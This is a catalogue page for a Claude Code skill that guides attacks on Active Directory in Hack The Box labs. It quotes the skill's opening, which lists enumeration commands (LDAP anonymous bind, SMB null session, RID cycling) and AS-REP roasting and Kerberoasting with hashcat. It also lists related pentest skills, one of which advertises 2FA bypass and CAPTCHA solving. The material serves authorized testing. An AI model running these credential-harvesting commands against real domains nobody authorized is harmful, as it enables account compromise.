Active Directory Attacks

Active Directory Attacks is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 64 tokens per session (2,036 once invoked), scanned A, original, MIT.

A security-testing guide for examining Windows Active Directory, the system organizations use to manage domain accounts, computers, and permissions.

In plain words
What is it for?
Use it during authorized assessments to inspect LDAP, Kerberos, SMB, anonymous access, and attack techniques such as Kerberoasting or pass-the-hash.
Why use it?
It groups commands for discovering domain services, users, groups, shares, and common weaknesses in a Windows domain.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/ad-attacks
Any agent
npx skills add allsmog/blackbox-claude-plugin --skill ad-attacks
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Active Directory Attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/ad-attacks.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/ad-attacks)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/ad-attacks"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/ad-attacks.svg" alt="Measured on agentmods" height="20"></a>
Per session 64 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,036 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00064 $0.02036
Opus 5 $0.00032 $0.01018
Sonnet 5 $0.00013 $0.00407
Haiku 4.5 $0.00006 $0.00204

Measured 6d ago against content hash 42fda608de60, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

Active Directory Attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

blackbox-htb/skills/ad-attacks/SKILL.md · 282 lines

How it starts

The opening of the file, as written. The whole thing — 282 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Active Directory Attacks Skill

Overview

Techniques for enumerating and attacking Active Directory environments in HTB machines.

Domain Discovery

Identify Domain Controller

# Nmap
nmap -p53,88,135,139,389,445,636,3268,3269 <TARGET>

# Key ports:
# 88 = Kerberos (confirms AD)
# 389/636 = LDAP
# 445 = SMB

Get Domain Information

# CrackMapExec
crackmapexec smb <TARGET>

# LDAP rootDSE
ldapsearch -x -H ldap://<TARGET> -s base namingContexts

Enumeration Without Credentials

LDAP Anonymous Bind

# Check if anonymous bind allowed
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=*)"

# Enumerate users
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Enumerate groups
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=group)" cn member

# Look for passwords in descriptions
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(description=*)" sAMAccountName description

SMB Null Session

# List shares
smbclient -L //<TARGET> -N
crackmapexec smb <TARGET> --shares -u '' -p ''

# Check access
smbmap -H <TARGET> -u '' -p ''

# Full enumeration
enum4linux -a <TARGET>

RID Cycling

# Enumerate users via RID
crackmapexec smb <TARGET> -u '' -p '' --rid-brute

# Impacket
lookupsid.py <DOMAIN>/''@<TARGET> -no-pass

User Enumeration via Kerberos

# Kerbrute
kerbrute userenum -d <DOMAIN> --dc <TARGET> userlist.txt

Kerberos Attacks

AS-REP Roasting (No Credentials Required)

# Find users with "Do not require Kerberos preauthentication"
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <TARGET> -format hashcat

# Crack hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (Requires Valid Credentials)

# Request TGS for SPNs
GetUserSPNs.py <DOMAIN>/<USER>:<PASS> -dc-ip <TARGET> -request -outputfile tgs.txt

# Crack TGS hashes
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

Read the full file on GitHub · 282 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 282 lines · 64 tokens per session scan A 42fda608de60

Subscribe to this mod's changes

Active Directory Attacks is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 64 tokens to every session and 2,036 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

mks

MKS (Metasploit-Kali Server) tool preference guide. Mount in Phase 0/1 alongside the primary skill. Provides URL resolution, REST endpoint patterns, response parsing, error handling, and fallback rules for all MKS-backed Kali tools.

Stickman230/claude-pentest · 54 tokens

pentest

Penetration testing orchestrator that coordinates specialized attack agents. Provides attack indexes, methodology frameworks, and documentation. Execution delegated to specialized agents (SQL Injection, XSS, SSRF, etc.). Use for engagement planning and attack coordination.

Stickman230/claude-pentest · 50 tokens

authenticating

Authentication testing skill - automates signup, login, 2FA bypass, CAPTCHA solving, and bot detection evasion using Playwright MCP. Tests authentication security controls. Includes behavioral biometrics simulation, OTP handling, and automated account creation for security assessments.

Stickman230/claude-pentest · 54 tokens

common-appsec-patterns

Application security testing coordinator for common vulnerability patterns including XSS, injection flaws, and client-side security issues. Orchestrates specialized testing agents to identify and validate common application security weaknesses.

Stickman230/claude-pentest · 42 tokens

web-application-mapping

Comprehensive web application reconnaissance and mapping coordinator that orchestrates passive browsing, active endpoint discovery, attack surface analysis, and headless browser automation for complete application coverage.

Stickman230/claude-pentest · 38 tokens

cve-testing

CVE vulnerability testing coordinator that identifies technology stacks, researches known vulnerabilities, and tests applications for exploitable CVEs using public exploits and proof-of-concept code.

Stickman230/claude-pentest · 36 tokens